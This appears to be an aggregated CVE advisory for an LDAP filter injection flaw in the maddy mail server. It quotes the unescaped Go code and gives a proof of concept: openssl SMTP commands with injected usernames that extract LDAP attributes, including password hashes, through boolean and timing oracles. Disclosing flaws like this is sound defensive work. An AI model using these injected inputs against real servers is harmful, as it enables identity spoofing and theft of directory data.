🛡️ CVE-2026-40193 — maddy

🟠 CVSS 8.2 — High ✅ No Known Exploit CWE-90 NVD
8.2
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Maddy Mail Server has an LDAP Filter Injection via Unsanitized Username

Summary

The auth.ldap module constructs LDAP search filters and DN strings by directly interpolating user-supplied usernames via strings.ReplaceAll() without any LDAP filter escaping. An attacker who can reach the SMTP submission (AUTH PLAIN) or IMAP LOGIN interface can inject arbitrary LDAP filter expressions through the username field, enabling identity spoofing, LDAP directory enumeration, and attribute value extraction. The go-ldap/ldap/v3 library—already imported in the same file—provides ldap.EscapeFilter() specifically for this purpose, but it is never called.

Patched version

Upgrade to maddy 0.9.3.

Details

Affected file: internal/auth/ldap/ldap.go

Three locations substitute the raw, attacker-controlled username into LDAP filter or DN strings with no escaping:

1. Lookup() — line 228 (filter injection)

```go

func (a *Auth) Lookup(_ context.Context, username string) (string, bool, error) {

// ...

req := ldap.NewSearchRequest(

a.baseDN, ldap.ScopeWholeSubtree, ldap.NeverDerefAliases,

2, 0, false,

strings.ReplaceAll(a.filterTemplate, "{username}", username), // <-- NO ESCAPING

[]string{"dn"}, nil)

```

2. AuthPlain() — line 255 (DN template injection)

```go

func (a *Auth) AuthPlain(username, password string) error {

// ...

if a.dnTemplate != "" {

userDN = strings.ReplaceAll(a.dnTemplate, "{username}", username) // <-- NO ESCAPING

```

3. AuthPlain() — line 260 (filter injection)

```go

} else {

req := ldap.NewSearchRequest(

a.baseDN, ldap.ScopeWholeSubtree, ldap.NeverDerefAliases,

2, 0, false,

strings.ReplaceAll(a.filterTemplate, "{username}", username), // <-- NO ESCAPING

[]string{"dn"}, nil)

```

The go-ldap/ldap/v3 library (v3.4.10, imported at line 17) provides ldap.EscapeFilter() which escapes (, ), *, \, and NUL per RFC 4515. It is never called on user input.

No input validation or filter escaping occurs at any point from the protocol handler to the LDAP query.

PoC

Prerequisites:

  • A maddy instance configured with auth.ldap using a filter directive
  • An LDAP directory (e.g., OpenLDAP) with at least one user
  • Network access to maddy's SMTP submission port (587) or IMAP port (993/143)

Step 1: Vulnerable maddy configuration

```

auth.ldap ldap_auth {

urls ldap://ldapserver:389

bind plain "cn=admin,dc=example,dc=org" "adminpassword"

base_dn "ou=people,dc=example,dc=org"

filter "(&(objectClass=inetOrgPerson)(uid={username}))"

}

submission tcp://0.0.0.0:587 {

auth &ldap_auth

# ...

}

```

Assume the LDAP directory contains users alice (password: alice_pass) and bob (password: bob_pass).

Step 2: Verify normal authentication works

```bash

# Encode AUTH PLAIN: \x00alice\x00alice_pass

AUTH_BLOB=$(printf '\x00alice\x00alice_pass' | base64)

# Connect via SMTP submission with STARTTLS

openssl s_client -connect 127.0.0.1:587 -starttls smtp -quiet <<EOF

EHLO test

AUTH PLAIN $AUTH_BLOB

QUIT

EOF

# Expected: 235 Authentication succeeded

```

Step 3: Boolean-based blind LDAP injection (attribute extraction)

An attacker who holds valid credentials for any one account can extract that account's LDAP attributes character by character, using the authentication result (235 vs 535) as a boolean oracle.

```bash

# Scenario: attacker knows bob's password ("bob_pass").

# Goal: extract bob's "description" attribute value one character at a time.

#

# Injected username: bob)(description=S*

# Resulting filter: (&(objectClass=inetOrgPerson)(uid=bob)(description=S*))

#

# If bob's description starts with "S" → filter matches 1 entry (bob)

# → conn.Bind(bob_DN, "bob_pass") succeeds → 235 (SUCCESS)

# If not → filter matches 0 entries → 535 (FAILURE)

#

# By iterating characters, the attacker reconstructs the full attribute value.

# Test: does bob's description start with "S"?

INJECTED='bob)(description=S*'

AUTH_BLOB=$(printf "\x00${INJECTED}\x00bob_pass" | base64)

openssl s_client -connect 127.0.0.1:587 -starttls smtp -quiet <<EOF

EHLO test

AUTH PLAIN $AUTH_BLOB

QUIT

EOF

# 235 → yes, starts with "S"

# Narrow: does it start with "Se"?

INJECTED='bob)(description=Se*'

AUTH_BLOB=$(printf "\x00${INJECTED}\x00bob_pass" | base64)

# ... repeat until full value is extracted

# This works for ANY LDAP attribute: userPassword hashes, mail,

# telephoneNumber, memberOf, etc.

```

For extracting attributes of other users (whose password the attacker does not know), a timing side-channel is used instead. The AuthPlain() function has two distinct failure paths:

  • 0 entries matched (line 270): returns ErrUnknownCredentials immediately — fast
  • 1 entry matched, bind fails (line 275): performs conn.Bind() over the network, then returns — slow (adds LDAP bind round-trip latency)

Both return SMTP 535

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity low, availability none.

Weakness class

CVE-2026-40193 is classified as CWE-90: LDAP Injection. Input is placed into an LDAP query without neutralisation, allowing the directory lookup to be rewritten.

Affected software

CVE-2026-40193 is recorded against 2 packages.

  • github.com/foxcpp/maddy
  • maddy (fixed in 0.9.3)

Timeline and source

Published on 13 April 2026 and last revised on 25 June 2026. No public exploit is currently recorded for this entry. A vendor advisory or fix has been published. Record sourced from NVD.

References

github.com (Web)
nvd.nist.gov (Advisory)
github.com (Web)
github.com (Package)
github.com (Web)

Details

Severity HIGH
CVSS Score 8.2
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
CWE CWE-90
Public Exploit ✅ No
Source NVD
Published 2026-04-13
Updated 2026-08-12
Modified 2026-06-25

Affected Packages

Software From version Fixed in
github.com/foxcpp/maddy
maddy 0.9.3

Similar Threats

Site Security Check

Is maddy part of your stack?

CVE-2026-40193 is rated CVSS 8.2 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.

Scan My Site Free →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.